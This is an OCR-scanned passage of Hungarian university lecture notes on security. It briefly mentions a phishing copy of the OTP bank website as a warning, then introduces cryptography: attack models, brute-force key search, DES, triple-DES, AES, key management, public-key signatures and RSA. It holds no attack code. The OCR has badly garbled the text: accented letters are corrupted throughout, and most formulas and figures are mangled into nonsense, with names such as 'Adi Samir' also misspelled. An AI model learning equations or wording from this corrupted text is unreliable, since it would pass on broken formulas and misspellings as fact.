mint ahogyan az adott webhelyet is a tdmado iizemelteti, de az


http://lifeforce.hu/w/Hoax
http://yikes.tolna.net/hoax/
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megtévesztésig hasonlit az eredeti weblapra. Ez utobbira jo példa az OTP

bank honlapjanak lemésolédsa: http://otp-ssl.128bit.at/ Ez az oldal még a

jegyzet megirasat kovetden is hosszu idon at mikodott. Ma (2008. februar
12.) mar csak a szolgéltatd lizenetét olvashatjuk, hogy ,,The web site you

are trying to browse to has been disabled.”

Aki hasonldval taldlkozik, NEHOGY megadja az adatait!


http://otp-ssl.128bit.at/
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3. Kriptografiai bevezetd

A témaba annak kiterjedtsége ¢s mély matematikai ismereteket 1gényld
volta miatt csak betekinteni tudunk. A téma irant mélyebben érdeklddd

hallgatoimnak két konyvet javaslok:

1. Buttydn Levente, Vajda Istvan: ,Kriptografia ¢és alkalmazésai”

Typotex, Budapest, 2004.

2. Virraszté Tamas: ,, Titkositas és adatrejtés” NetAcademia Kft., 2004.

Az els6é konyv erds matematika ismeretekre épitd, a kriptografidban mély
elméleti alapokat add kivalo tankonyv, amelyet a BME oktatoi irtak. A
masodik egy foiskolai matematika tudassal kovethetd, olvasmanyos md.
Kozérthetésége miatt valdszinilileg az utdbbit fogjdk olvas(gat)ni, béven
talalnak benne torténeti érdekességeket, titkositdsi algoritmusok leirdsat,
gyakorlati alkalmazasokat, stb. A szerzé sok érdekes informaciot gyiijtott
Ossze, és ezek altalaban helytalldak is, néhany esetben nem értek egyet

vele, igy példaul mindenkit figyelmeztek, hogy a hacker és a cracker

crer

»Jargon File” - http://www.fags.org/docs/jargon/ - e sorok irdsakor ezen az

oldalon az aktudlis verzidja: 4.4.2.

A kriptografiai bevezetd fdleg a BME-s tankdnyvre épiil, erésen
leegyszeriisitve és leroviditve azt. Megismerjiik a titkos és nyilvanos
kulcsu  kriptografia alapelemeit és  betekintink a  kriptografiai
alapprotokollokba. Célunk az, hogy a hallgatok megismerkedjenek az


http://www.faqs.org/docs/jargon/
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algoritmikus adatvédelem alapjaival, képesek legyenek megérteni a
megoldandd problémdakat és elsajatitsanak egy alapvetd kriptogréafiai
szemléletet, ami alapot jelent a biztonsdgos kommunikaciordl szolo

fejezethez.

3.1. Alapfogalmak

A kriptologia a titkos kommunikacioval foglalkozo tudomany. Két f6 4ga a
kriptografia és a kriptoanalizis. A kriptografia a titkositassal foglalkozik, a
kriptoanalizis pedig a titok jogosulatlan megfejtésével. A titkos

kommunikécié modellje a kdvetkezd.

B P— 2 p |Z

y

k ; tamado i

2

10. abra: A rejtjelezés modellje

A szeretné az x lizenetet egy nyilvanos csatornan keresztiil eljuttatni B-nek
ugy, hogy a nyilvanos csatornan hallgat6zé tAmado az iizenet tartalmat ne
ismerhesse meg. (A tamadé a kommunikécid tényérdl tudomast szerezhet.)
Ennek érdekében az x nyilt szovegbdl (plain text) az  E ()  rejtjelezé
transzformdcioval a k, kulcs (key) hasznalatival elkésziti (encryption)

az y rejtett iizenetet (cipher text):
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J/:E(k)(x)

Ak, tetszOleges rogzitett értéke mellett E(kl)(') kolcsondsen
egyértelmti leképzés. Ugy is mondhatjuk, hogy a lehetséges E
transzformaciok halmazabol a k&, kules jeldli ki azt, amelyiket éppen

alkalmazzuk. A nyilvdnos csatorndn hallgatéz6 tdmaddé az E és D

transzformaciok halmazéanak ismeretében sem képesa &, kulcs ismerete

nélkiil az y rejtett szovegbdl az x nyilt szoveg meghatarozasara. B az y

rejtett lizenetbél az  E(.) transzformacié inverzével a Dy, (.)

dekodolo transzformacioval nyeri vissza (decryption) az eredeti x iizenetet:

x=D )(Y)

2

Ha k;=k,, akkor szimmetrikus kulcsti (mds néven konvenciondlis vagy
titkos kulcsu) rejtjelezésrdl beszéliink. Ekkor természetesen az A altal
hasznalt k=k,=k, kulcsot valamilyen védett csatorndn keresztil el kell

juttatni B-hez.

Ha k/#k,, akkor aszimmetrikus kulcsi (mas néven nyilvanos kulcst)

rejtjelezésrol beszéliink. Ekkor minden résztvevonek 2 kulcsa van:

« k¥ -nyilvanos kulcs (public key)

« k% -titkos kulcs (secret key)
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A fenti példaban az A a B nyilvanos kulcsat hasznalja a titkositashoz:

k,=k% és B a sajat titkos kulcsat hasznalja a megfejtéshez: k,=k} |

azaz:
y=E(k";)(x) és X=D<ki)(J/)

A nyilvanos kulcsu titkositas résztvevoi: A, B, C, ... a nyilvanos

kulcsaikat: kﬁ,) , k; , kg , ... clhelyezik egy mindenki szdmara

olvashatd nyilvanos kulcstarban, mig a titkos kulcsukat (megfeleld
védelem mellett) titokban tartjak. Egy adott felhasznalé nyilvanos
kulcsénak felhasznalasaval titkositott lizentet csak az & titkos kulcsaval

lehet megfejteni.

FONTOS, hogy a modern kriptografidban a rejtjelezd algoritmus maga
nem titok, azaz a programot vagy rejtjelezd gépet a tamadé ellophatja, a
kulcs ismerete nélkiill mégsem képes a rejtett szovegbdl a nyilt széveg
meghatarozasara. A rejtjelezés biztonsdiga NEM fiigghet attol, hogy a
tdmadd ismeri-e az algoritmust! A kriptografiai algoritmusok nagyon
gyakran nyilvanosak, referencia implementacié akar ingyen is hozzaférheto
lehet. (A tervezési megfontolasok viszont nem feltétleniil nyilvanosak, bar

itt is jelentds az eldrelépés, 1asd késdbb: DES — AES.)

A kriptologidnak van egy tdmaddsi modellje, ez ebben megvaldsulo
tamadasokat hivjak algoritmikus tamaddsnak. Az ezen kiviili tdmadasok
(pl. kémek megtudjék a kulcsokat, crackerek feltorik a titkositd kdzpont

szamitogépeit) ellen egyéb modszerekkel kell védekezni. Az algoritmikus
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tdmadasokat az Aatviteli csatornan hajtja végre a tamado. Itt is
megkiilonboztetiink aktiv és passziv tdmaddsi moddszereket. A passziv
modszer alapvetd jellemzéje, hogy a tamadd a nyilvanos csatorna
lehallgatasaval rejtett szovegli tlizenetek birtokdba jut. A tamado
eredményes, ha képes a rejtett szovegli iizenetekbdl a nyilt szdveg
eldallitasara. Az algoritmus ismeretérdl szolo feltételezésiink miatt ennek
elégséges feltétele a dekddolashoz sziikséges kulcs megfejtése. Az atviteli
csatornan folyd tevékenység szempontjabol passzivnak tekintjik a
kovetkezO kategoridkba sorolhatd modszereket (ezek

egyre novekvo erejliek):

1. Rejtett szovegl tdimadas. Ez a modszer ugyanazon kulccsal titkositott

rejtett szovegl iizeneteket hasznal fel. (ciphertext only attack)

2. Ismert nyilt szovegli tamadas. Ismert, Osszetartozo nyilt szoveg —

rejtett szoveg parokat haszndl fel. (known plain text attack)

3. Vélasztott szovegli tamadds. A tadmadonak lehetdsége van
megvalasztani a nyilt szovegeket, amelyekhez tartozd rejtett
szovegeket megkaphatja, vagy a rejtett szovegeket, amelyekhez vald

nyilt szovegeket megkaphatja. (chosen text attack)

Nyilvanvald, hogy az egyre nagyobb sorszaml tdmadés kategoéridk egyre
tobbet kovetelnek a tdmadotol, (pl. ravenni valamelyik felet, hogy az

altalunk valasztott nyilt lizenetet a titkositva atkiildje a csatornan) és egyre
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tobb lehetdséget adnak neki, hogy a rejtjelezd algoritmust ismerve annak

esetleges gyenge pontjait kihasznalja.

Ha a tamadonak lehetdsége van az atviteli csatornaban {izeneteket tordlni,

beszrni, modositani, akkor aktiv tamadasrol beszéliink.

A rejtjelezés alapvetden a passziv tamadésok ellen véd, az aktiv tdmadasok
elleni védekezéshez kriptografiai protokollokat hasznalnak, ami eldre
meghatarozott iizenetcsere-folyamatot jelent. Ennek soran észlelik az aktiv
tamadéasokat, ¢és kivédik azok kdros kovetkezményét. Példaul egy
megszemélyesités (valaki masnak adja ki magat) esetén a kapcsolat nem jon

1étre.

Fontos fogalom még a gyakorlati titkossag. Ebben az esetben bar a kulcs
kimeritd kereséssel (lasd blokk titkositok) meghatarozhatd, ennek
eréforrasigénye a gyakorlatban a kor technikai szinvonaldn nem elégithetd
ki: a kulcs meghatarozédsa annyi id6t venne igénybe, hogy az informacid

mar érdektelenné valik.

3.2. Titkos kulcsu blokkrejtjelezdk

A Dblokktitkositok a nyilt lizenetet n bit hossziisagi blokkokra bontjak.
(Amennyiben az iizenet hossza nem tobbszordse a blokkméretnek, akkor
kitoltést alkalmaznak, dekddolaskor azonban egyértelmiien el kell tudni
valasztani az {izenetet a kitoltést6l.) A rejtjelezés soran egy n bit

hosszlisagu nyilt szoveghez a k bit hosszl kulcs fiiggvényében egy szintén
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n bit hosszisagu rejtett szoveget rendelnek, azaz formalisan a kdvetkezd

leképzést valositjak meg:
E: {0,1}"x {0,1} — {0,1}"

Mivel a kulcs mérete k, lehetséges értékeinek szama 2*. Ez azt jelenti, hogy
a kulcsunkkal 2* darab lehetséges E transzformacio koziil valasztjuk ki azt,
amit éppen alkalmazunk. Mivel ez véges, a tamadonak lehetdsége van
kimerito keresést hasznalni. Mit jelent ez? A tdmadoé rendelkezésére all ¢
darab nyilt szoveg - rejtett szoveg par, jeloljiik ezeket jelolje: (x;, y:), ahol
vi=Ex(x), i=1, 2, ... t. A tamado keresi a K kulcsot. A tdmado sorra veszi a
K;, j=1, 2, ... 2" kulcsokat. Kiszadmitja Ex;(x;) értékét, és dsszehasonlitja y;-
gyel. Természetesen az esetek dontd tobbségében ez nem fog egyezni,
ilyenkor veszi a kovetkez6 kulcsot... Ha egyezik, az vagy azért van, mert
eltaldlta a kulcsot K=K, vagy ,,véletlen” egybeesés all fenn. Ez utdbbit
nagy valoszinliséggel kizarhatja, ha i=1-t6l #-ig az Osszes parra

megvizsgalja, és az adott K; esetén i-re fenndll az Ex(x;)=); egyenlOség.

3.21. DES

A DES (Data Encription Standard) rejtjelez6t az IBM szakemberei
fejlesztették ki az USA-ban a 70-es években. Blokkmérete 64 bit,
kulecsméretét eredetileg 128 bitesre valasztottak, de az NSA (National
Security Agency) ugy dontétt, hogy csak 56 bites legyen. (Ez Iényegesen
gyengitette, sokan azt gondoltdk, hogy az a célja, hogy az NSA képes
legyen feltorni.) Hasznalatat eredetileg USA kormanyhivatalok és bankok

szdmara tdmogattak. A titkositd algoritmust nyilvadnossagra hoztdk, de a
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tervezési kritériumokat akkor még nem. A differencidlis kriptoanalizis
példaul a 90-es években valt kozismertté, ezutdn az IBM szakemberei
elismerték, hogy 6k mar a DES tervezésekor ismereték azt, és ugy
tervezték meg, hogy ellenalljon neki. A DES ellen a mai napig sem ismert
feltorés, csupan eljart f616tte az id6. Ez azt jelenti, hogy a mai technolégia
mellett mar nem elegendd a kulcsmérete, hogy ellenalljon a kimeritd
kulcskeresésnek. Ennek demonstralasara tobb nyilvanos pénzdijas versenyt
is rendeztek: adott nyilt szoveg — rejtett szoveg ismeretében kellett
megtalalni a kulcsot. 1999 januarjdban az RSA Security altal kiirt DES
Challenge Ill-at példaul 22 6ra 15 perc alatt oldottdk meg a Deep Crack
(DES feltorésére épitett célszamitogép: egyszerli, probalkozasokat
végrehajto  DES-chipeket tartalmaz nagyfokt parhuzamositdssal) és a
Distributed.net (sok, haldzaton keresztiil Osszekapcsolt szamitdgép)
kombinéaciojaval. Tovabbi  informaci6 az RSA  honlapjan:

http://www.rsasecurity.com/rsalabs/node.asp?id=2108

A DES alapvetdé miikodésérdl annyit, hogy egyszerii, atlathatd strukturaja
van, a klasszikus elemekbdl (helyettesitéses €s permutacios rétegek) épiil
fel, azokat atlathaté struktiraban egymds utdn 16 korben (round)
alkalmazza, az invertdlhatosagot tigy oldja meg, hogy az egyes kordk
kozott a Feistel struktarat alkalmazza. Akik mélyebben érdeklédnek a

rejtjelezd miikddése irant a két emlitett konyv barmelyikében megtalaljak.


http://www.rsasecurity.com/rsalabs/node.asp?id=2108
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3.2.2. Triple-DES

Mivel a DES ellen a kimeritd keresés egyre redlisabb tamadas, viszont
magaban a DES algoritmusban nem talaltak olyan hibat, ami miatt torhetd
lenne, rdadasul sok jo szoftver és hardver implementacidja van, redlis
megoldas lehet, hogy a DES-t tobbszor egymas utan alkalmazzak mas-mas

kulccsal a kulesbitek szamanak novelésére. Javit-e ez?

A probléma megértéséhez sziikség van bizonyos algebrai struktarak
ismeretére. Csoportnak nevezziik azt a strukturat, amely egy halmazbol ¢€s

egy kétoperandusu miiveletbdl all és kielégiti, hogy:

- zart: a miveletet a halmaz két eleme kozott elvégezve szintén a

halmazbeli elemet kapunk

- asszociativ: a mivelet tOobbszori egymas utin alkalmazasa

atzarojelezhetd

- van egységelem: létezik olyan eleme, amely elem és tetszdleges
masik elem kozott a miiveletet elvégezve a masik adott elemet

kapjuk eredményiil

- minden elemhez létezik inverz: a muveletet az adott elem és az

inverze kozott elvégezve az egységelemet kapjuk

Ha a DES transzformaciok halmaza (amelynek elemei az egyes kulcsokkal
kijelolt transzformaciok, tehat 2 db eleme van) az egymas utin

alkalmazasra mint miiveletre nézve zart lenne, akkor csoport is lenne (ez
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bizonyithat6). Mit jelent a zartsag? Azt, hogy tetszdleges k; €s k, kulcshoz
létezik olyan k; kulcs, hogy az egymas utan alkalmazott E ) (E (.))

transzformaciok egyetlen E(k3>(-) transzformacioval helyettesithetok.
Ekkor nyilvan valdan értelmetlen lenne a DES-t tobbszor egymas utan
alkalmazni, hiszen a tobb kulcs helyett kimeritd kereséssel elég lenne
egyetlen 56 bites kulcsot keresni. Rdadasul még maga a DES is torhetd
lenne (a sziiletésnap paradoxonon alapuld) Un. kézépen valo talalkozds
tamadéassal (meet in the middle attack), errdl bdvebben a BME-s
tankonyvben olvashatunk. Szerencsére a DES nem rendelkezik csoport

tulajdonsaggal!

Ha viszont a DES-t kétszer alkalmazzuk egymds utan, akkor bar elvileg
2x56 kulcsbitet hasznalunk fel, a torés mégsem lényegesen nehezebb, ami
ugyancsak a kdzépen valo taldlkozas tamadas miatt van (ezt is megtalaljuk

a BME-s jegyzetben).

A lehetd legegyszeriibb megoldas az, ha a transzformaciot haromszor
egymas utan alkalmazzuk 3 kiilonb6z6 kulccsal. Az igy nyert rejtjelezd a
triple-DES vagy 3DES. (Ezt a szakirodalomban 4altalaban teljesen
egyenértékli értelemben hasznaljak, egyedil a kordbban emlitett
,olvasmanyos” konyvben lattam, hogy a szerzdje megkiilonboztette Oket,
én ennek alapjan a jelentésbeli megkiilonbdztetést nem latom kelléen
bizonyitottnak ahhoz, hogy tanitsam.) A kodolot altaldban EDE vagy DED
konfiguracioban szoktdk haszndlni, ahol az E a titkositdo a D pedig a

dekodold transzformdciot jeloli. A 3DES EDE vazlata:
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X y
T T T y=E(k3)(E(kz)<E(k])<x)))
k[ kZ k3

11. dbra: A 3DES EDE konfiguracioban

A 3DES EDE ¢és DED konstrukciojanak elénye az, hogyha a 3 kulcsot ugy
valasztjuk meg, hogy k,=k,=k;, akkor visszakapjuk a kozonséges egyszeres
DES-t, ami megteremti a lehetdségét annak, hogy a 3DES-t hasznald
rendszerek olyan rendszerekkel is tudjanak kommunikalni, amelyek csak
az egyszeres DES-t tdmogatjak. A k,=ks#k, esetben kétkulcsos 3DES-rdl
beszéliink, ekkor a kulcshossz 112 bit, ha pedig mindharom kulcs
kiilonbozd, akkor 3 kulcsos 3DES-r6l beszéliink, amelynek effektiv
kulcshossza 168 bit.

3.2.3. AES (Rijndael)

A DES lecserélésére az USA-ban egy uj szabvanyt kivantak létrehozni
AES (Advanced Encryption Standard) néven. A NIST (National Institute
for Standards and Technolgy) 1997-ben inditotta el a projektet, amelynek
soran definialtdk az alapvetd elvarasokat és palyazatot irtak ki. A
palyazatra 21 nevezés érkezett, de csak 15-6t fogadtak el. Osszesen 3

korben értékelték ki oOket, az utolsd6 korben 5 koziil kellett valasztani,
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amelyek mindegyike lényegében megfelelt (MARS, RC6, RIJINDAEL,
SERPENT, TWOFISH), ezek koziil a RIINDAEL (ejtsd: réjndael) gydzatt.

A RIINDAEL paramétereit tekintve kelléen rugalmas, blokk és
kulecsmérete 128, 192 és 256 bit lehet, az iteracios 1épesek szdma 10, 12
vagy 14 lehet. A DES-hez hasonloan az egyes rétegekben itt is helyettesités
¢s permutacid torténik. Eltérés, hogy a rétegkulcsokat bitenkénti kizaro
vagy muvelettel adja hozza, és nem hasznalja a Feistel-struktarat. Tovabbi
eltérés, hogy mig a DES-nél 4 bites itt 8 bites egységekben torténik a
helyettesités — ez a technologia miatt mindkét esetben logikus vélasztés
volt. Az algoritmus 8 bites mikroprocesszorokon is hatékonyan

implementélhato.

3.3. Kulecsmenedzsment

Most alapvetéen a titkos kulcsu rendszerekre koncentralunk. A
kommunikaciohoz hasznalt kulcsokat idonként cserélni kell. Ez tobb

szempontbol is indokolt, példaul:

Ne szolgaltassunk tal sok adatot a titkositonk toréséhez (azonos

kulccsal generalt titkos szovegek).

Ha valaki torni probalja az algoritmust, neki idére van sziiksége. Ha
kicseréljiik a kulcsot, mire feltdri, akkor kezdheti ellrdl (persze a

multbeli lizeneteinket utdélag megismerhette).
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- A kules kompromittalodhat, azaz illetéktelen kezekbe juthat (pl.
emberi mulasztds, kémek tevékenysége nyoman). Ha errél tudomast
szerziink, azonnal cserélni kell, de eldvigyazatossagbol id6kozonként

is sziikséges cserélni ebbdl a szempontbdl is.

Mind a kezdeti kulcsmegallapodds, mind a kulcs lecserélése esetén
sziikséges 1j kulcs 1étrehozasara. A kulcsokat el kell juttatni a felhasznalas
helyére, ott megfelelden védeni kell, lecserélés esetén pedig biztonsdgosan

meg kell semmisiteni, illetve lehet, hogy biztonsagosan archivalni kell.

3.3.1. Kulcsgeneralas

Valodi véletlen szamokat Iétrehozni valamilyen fizikai folyamat
segitségével lehet. Ilyen lehet példaul a kodfénylampa drama, kozmikus
sugarzas vagy a radioaktiv bomlas. Kortltekintéssel alkalmazhat6 valamely
kornyezeti jellemzOt mérd egység A/D atalakitojanak legalsd bitje, pl.
akusztikus hattérzaj. Ugyancsak koriiltekintést igényel a legegyszeriibb

megoldas, ha a felhasznalo egyes billentyiiletitései kozott eltelt idot mérjiik.

A fizikai folyamatbdl nyert valddi véletlen szamokat szoktdk hasznalni a
kriptografiai kulcsgeneratorok kezddértékének bedllitdsdhoz. Ezeket a
generatorokat fontos megkiilonboztetni a kozonséges pszeudorandom
generatoroktol. A legegyszeriibb alvéletlen generatorok (amelyek pl.
kivaloan alkalmasak szamitogépes jatékokhoz, de akar tudomanyos igényti
szamitogépes szimulaciokhoz is) kriptografiailag nagyon gyengék lehetnek.

Példaul a linearis kongruencia generator teljes egészében ,.kiadja” a belsd
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allapotat a generalt alvéletlen szdmmal, igy az aktudlis kulcsbol a
kovetkezd kulcs szamolhato lenne. A kriptografiai kulcsgeneralashoz
olyan Un. hard core predicate generatorok kellenek, amelyek altal kiadott
alvéletlen bitsorozat rendelkezik azzal a tulajdonsdggal, hogy a jelenlegi

értekekbdl nem tudjuk egyszerli moédon a késdbbi értékeket szamitani.

3.3.2. Kulcstarolas, tovabbitas

A kivant biztonsagi szintt6l fiiggden a kulcsok tarolasa, tovabbitasa sokféle
lehet. Valamilyen kozonséges adathordozén (kriptografiai értelemben)
nyilt formaban ugyan, de zart boritékban feladhatjuk postan, szallithatja
egy megbizhatd futar, illetve komolyabb esetben a kulcs nyiltan el sem
hagyja a kulcsgeneratort, hanem egybdl un. kulcstaroléo modulba keril.
Ebbdl csak megfeleld koriilmények kozott nyerhetd ki, illetéktelen
hozzaférési kisérlet esetén pedig megsemmisiil. S6t, az is lehet, hogy olyan
intelligens eszkozbe toltik, ami maga végzi a titkositast, és a kulcs

egyaltalan nem nyerhetd ki beldle.

A kulcsot szallithatjak titkositva is (akar fizikailag, akar nyilvanos
kommunikécios csatornan), ekkor persze egy masik kulcsra van sziikség a
kibontasahoz. Ilyen mdédon a kulcsoknak egész hierarchidja lehet: példaul
egy alloméshoz tartozhat egy mester kulcs, amit kezdetben egyszer
beallitottak, és amivel kodolva kapja meg az allomas id6kozonként (pl.
havonta) az iizemi kulcsat, amit mas allomasokkal valé6 kommunikacioban

csak a kapcsolatkulcs 1étrehozasara hasznal, és az adatatvitelt a
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kapcsolatkulcs segitségével titkositja. Ilyenkor egy alsobb szintli kulcs

kompromittalédasa csak korlatozott kovetkezményekkel jar.

3.4. Nyilvanos kulcsu titkositas

A klasszikus titkos kulcsu titkositas esetén nehézséget okoz, hogy két fél
titkos kommunikacidjdhoz elézetes kulcscserére van sziikség. Egészen
pontosan nem is az sziikséges, hogy valamelyik fél a masiknak atadjon egy
titkot, hanem az, hogy legyen olyan titok, amit csak 6k ketten ismernek.
Erre a kiilonbségre késébb (3.6.4. Kulcscsere protokollok) még

visszatérunk!

Amint a bevezetében emlitettiik, a nyilvadnos kulcsu titkositas esetén
minden résztvevd két kulccsal rendelkezik. Egy nyilvanos ¢€s egy titkos
kulccsal. A nyilvanos kulcsat kozzéteszi egy nyilvanos cimtarban a titkos
kulcsat pedig védi. Mit lehet ezzel kezdeni? Milyen tdmadasi lehetdségek

vannak? Réviden ezt fogjuk attekinteni.

Ha valaki titkos iizenetet szeretne kiildeni A-nak, akkor el6bb a nyilvanos
cimtarbol lekéri az A nyilvanos kulcsat, majd az lizenetet ezzel kodolva
kiildi el a nyilvanos csatorndn A-nak. A titkositas invertaldsa csak az A
titkos kulcsanak ismeretében végezhetd el hatékonyan (gyakorlati
titkossag), igy a nyilvanos csatornan hallgat6z6 tamadé képtelen a kodolt
lizenet megfejtésére. Eppen ezért a tdmadd mas taktikat valaszt. A

nyilvanos cimtarat fogja megszemélyesiteni. Ha az A-nak iizenetet kiildeni
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kivané B a cimtarbol lekéri az A nyilvanos kulcsat, helyette a tdmado a
sajat nyilvanos kulcsat adja oda B-nek, igy az lizenetet nem A, hanem a
tamado tudja megfejteni. A tdmadasra megvalositdsira mar tobb
megoldast is bemutattunk, példaul ha a nyilvanos cimtar egy weblap, akkor
akdr a DNS elleni tdmadéssal, akdr az IP routing elleni valamelyik
tamadassal (hamis RIP informacié vagy routing redirect) megoldhato a
feladat. A tadmadés ellen létezik algoritmikus védekezés, erre hamarosan

sor keriil, de el6bb még valamire sziikségiink van.

Vizsgaljuk meg, hogyan hitelesitheté az iizenet forrdasa? A moddszer azon
alapul, hogy a titkos és a nyilvanos kulccsal végzett megfelelé miiveletek
egymds inverzei. Mig a nyilvanos kulccsal torténd kodolas a titkos kulcs
birtokédban dekodolhato, a titkos kulccsal végzett kodolas a nyilvanos kulcs
segitségével fejthetd meg. Ha egy allomas (legyen A) bizonyitani akarja,
hogy az lizenet téle szarmazik, akkor azt elkodolja a sajat titkos kulcsanak
felhasznalasaval. Ezutdn barki, aki ismeri az A 4llomas nyilvanos kulcsat,
képes az tlizenet dekodoldsara. Az iizenet dekddoldja biztos lehet, hogy az
iizenet tényleg A-tol jott, mert mas nem rendelkezik A titkos kulcsaval.
Felmeriil a kérdés, hogy mi van akkor, ha valaki mas kiildte az A nevében
az lizenetet? Egy bitsorozatot barki eldallithat. Ekkor a bitsorozatnak az A
nyilvanos kulcséaval torténé dekodolasakor egy zagyvasagot kapunk. Itt az
segit a hamis {lizenet kisziirésében, hogy az emberi nyelvek erdsen
redundansak. Elenyészden kicsi annak a valdszinlisége, hogy egy
véletlenszertien valasztott rejtett szoveg dekddolasakor értelmes lizenetet

kapjunk. (Ugye megdobbennénk, ha egy majmot letiltetnénk egy irogép elé,
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¢s az eredmény egy csodalatos vers lenne?) Ha ez nem elég meggy6zd
szdmunkra, vagy az Tlzenetet programmal értelmezziik, akkor
gondoskodnunk kell a redundancia bevitelérdl, példaul az tizenetnek kotott

formatumunak kell lennie.

Most mar visszatérhetiink a kulcstar informdcidinak védelmére. Ha a
nyilvanos kulcstar is rendelkezik egy nyilvanos és egy titkos kulccsal, és a
nyilvanos kulcsi kommunikacioban résztvevd felek mindegyike elére
ismeri a kulcstar nyilvanos kulcsat, akkor a kovetkezd megoldast
hasznalhatjuk. A kulcstar nyilvanos kulcsat a felek el6re ismerik. A
kulcstar a kért adatokat a sajat titkos kulcsaval kodolja el. Ekkor minden
résztvevd képes ellendrizni, hogy a kulcstar nevében érkezé informaciod
valoban a kulcstartol jott-e. Persze azért itt az elézetes — ugyan nem
titkos, de hitelességet igényld — informacidé ismerete megint eldjott.
Mekkora nehézséget jelent az, hogy a feleknek ismerniiik kell a kulcstar
nyilvanos kulcsat? Laboratoriumi koriilmények kozott ez egyaltalan nem
gond, hiszen amikor az egyes résztvevok titkos és nyilvanos kulcsat
elkészitik, a kulcstarban eltaroljak a nyilvanos kulcsot, a résztvevoknek
meg odaadjak a titkosat, akkor odaadhatjdk nekik a cimtar nyilvanos
kulcsat is. A gyakorlatban azonban a probléma igen Iényeges.
Skalazhatosagi (teljesitmény), foldrajzi, politikai stb. okokbol nem oldhaté
meg, hogy mindenki egy cimtarat hasznaljon, viszont a kiilonb6z6 cimtarak
felhasznaloi is szeretnének egymdssal kommunikalni. Erre a témara a

nyilvanos kulcsu infrastruktura targyalasakor (3.7.) még visszatériink!
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A nyilvéanos kulesu titkositasrol sz6l6 altalanos rész befejezéseként nézziik
meg, hogyan képes egy A felhasznilo egy B felhasznalonak titkos és
hiteles tlizenetet kiildeni! Az A eldbb a sajat titkos kulcsaval, majd a B
nyilvanos kulcsaval kodolja az iizenetet. B eldbb a sajat titkos kulcsaval,
majd az A nyilvanos kulcsaval dekodol. Ekkor a hallgat6zé timad6 nem jut
az informacidhoz, mert a rejtett lizenet B titkos kulcsa nélkiill nem
dekodolhato, és B biztos lehet abban, hogy amennyiben az iizenet értelmes,

akkor az lizenet A-tdl jott, mert annak titkos kulcsat mas nem ismeri.
A igy kodol: y=E(k;)(E(k§>(x)>

B igy fejti meg:

D (D (¥))= Dy (D5 (E o (E o (X))= D (E s (x)) = x

3.41. RSA

Az RSA az egyik leggyakrabban hasznalt nyilvanos kulcsu algoritmus. Az
RSA rovidités az algoritmus készitdinek kezddbetiiit takarja (Ron Rivest,
Adi Samir, Leonard Adleman). Az algoritmus szamelméleti eredményeken

alapul, a BME-s jegyzet alapjan miikodése a kovetkezo:

Kulcs létrehozasa

A felhasznalok az alabbi modon hozzék 1étre a kulcsparjukat:

1. Véletlenszerlien valasztanak két nagy (jelenleg legalabb 500 bit

méretll) primszamot: p és ¢, természetesen p#q.
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2. Kiszamitjadk: N=pq és o(N)=(p-1)(g-1) értékeket. Valasztanak egy e

szdmot ami @(N)-hez relativ prim.

3. Kiszamitjak az e inverzét modulo @(N), azaz olyan d szamot, melyre:
1<d<@(N) és
ed =1 (mod ¢(N))

A nyilvanos kulcsot az (N, e) szampar alkotja, ezt a felhasznalok elhelyezik
egy mindenki szamara elérheté megbizhato taroldoban. A ,.titkos kulcs” az
E() és D(.) transzformaciok szempontjabol az (N, d) szdmpér, amit
megfeleld védelemmel tdrolnak. Esetiinkben az N része a nyilvanos
kulesnak is, igy valdjdban nem titok, viszont szigoruian titkos a (p, g)

primszam paros, amit meg kell semmisiteni!

A nyilt szoveg el6készitése

Mivel az algoritmus szamokkal valé miiveletvégzésen alapul (hatvanyozas,
amit hatékonysagi szempontbol négyzetre emelésekkel €és szorzasokkal
valdsitanak meg), az lizenetet ennek megfeleléen szamok sorozatava kell
alakitani. Tegylik fel, hogy az A felhasznald szeretne a B felhasznalonak
tizenetet kiildeni. Ekkor a kulcstarbdl lekéri B nyilvanos kulcsat (Ns, es).
Mivel a tovabbiakban (mod Nj) kell szdmolnia, az {izenetet Nz-nél kisebb
szdmok sorozatdva kell leképeznie (természetesen kdlcsondsen egyértelmil
moédon, hogy a dekddolds utan a szamsorozatbdl az eredeti iizenet
helyreallithato legyen). A titkositast és a dekddolast a szdmsorozat elemein

(x1, X2, ...) egyenként fogjak elvégezni.
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Titkositas

Az elokészitett nyilt szoveg egy x; szdmahoz a rejtjelezés:

(es)
yz'=E(kg)(xi)=xi (mod N ;)

Dekodolas

xi=D(k§)(y,'>=y(idﬁ) (mod N )

Azt, hogy ennek sordn valoban az eredeti lizenetet kapjuk vissza,
szdmelméleti ismeretekkel a kis Fermat tétel segitségével néhany 1épésben
be lehet bizonyitani. Az érdekléddk a hivatkozott konyv 81. oldalan

elolvashatjak.

Az RSA biztonsaga szempontjabol kritikus, hogy ismereteink szerint az
egész szamok primtényezds felbontasara nem létezik hatékony algoritmus.
Ha ilyen létezne, a tamado képes lenne N-hez kiszamitani p-t és g-t és igy
képes lenne az e inverzének, d-nek meghatirozédsara is. Ezek ismerete
nélkiil azonban a tdmadd nem tud hatékonyan e-dik gyokdt vonni y-bol,
mig a titkos kulccsal bird megfejtésre jogosult a d ismeretében az e-dik

gyok kiszamitasat d-edik hatvanyra emeléssel hatékonyan el tudja végezni.

Hatékony algoritmusnak azt tekintjiilk, aminek a Iépésszdma az

algoritmus bemenetét jelentd szamok bindris szamabrdzolasi hosszanak
polinomidlis fiiggvénye. Példdul az Osszeadds elvégezhetd a hosszal

aranyos, a szorzas pedig a hossz négyzetével aranyos szamu lépésben. A
hatvanyozas még megszelidithetd gy, hogy megfeleléen szorzdsokkal és

négyzetre emelésekkel (ami szintén szorzas) helyettesitjiik. Az e-edik gyok



Kriptografiai bevezetd 47

kiszamitasara azonban ilyen modszert nem tudunk, a trivialis megoldas (az

Osszes lehetséges érték kiprobalasa) pedig exponencialis 1épésszamu lenne.

A technologiai fejlodés az RSA szdmara igen kedvezd, mert a polinomialis
és exponencidlis 1épésszam kozotti nagysagrendi kiilonbség novekedése
miatt relative egyre elérhetdbbé valik olyan kulcsok alkalmazasa, amelyek
esetén a nyers eron (brute force) alapulo torés gyakorlati képtelenség, de a

titkositas és a dekodolas sebessége olcso eszk6zokon is kielégito.
Az RSA-t szabadalom védte, de 2000. szeptember 20-an lejart!

3.4.2. DSA

Egy masik nyilvanos kulcst kriptografiai megoldas a Digital Signature
Standardben (DSS) talalhatd Digital Signature Algorithm (DSA), melynek
célja nem a titkositds, hanem a digitdlis aldirds. Kriptografiai
algoritmusokban gyakran az RSA alternativdjaként hasznaljak, példaul az
